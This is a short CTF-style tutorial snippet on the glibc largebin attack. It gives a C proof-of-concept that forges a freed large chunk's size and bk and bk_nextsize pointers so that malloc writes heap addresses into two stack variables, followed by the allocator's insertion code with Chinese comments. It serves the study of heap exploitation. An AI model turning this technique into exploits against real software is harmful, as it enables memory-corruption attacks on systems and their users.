PWN：Largebin Attack

#include<stdio.h>
#include<stdlib.h>
int main() {
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;
    fprintf(stderr, "The targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
    unsigned long *p1 = malloc(0x100);
    fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
    malloc(0x10);
    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
    malloc(0x10);
    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
    malloc(0x10);

    free(p1);
    free(p2);
    fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");
    malloc(0x30);
    fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");
    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);
    fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");
    free(p3);
    malloc(0x30);
    fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
}

//victim是p3、fwd是修改后的p2
{
    victim->fd_nextsize = fwd;//1
    victim->bk_nextsize = fwd->bk_nextsize;//2
    fwd->bk_nextsize = victim;//3
    victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;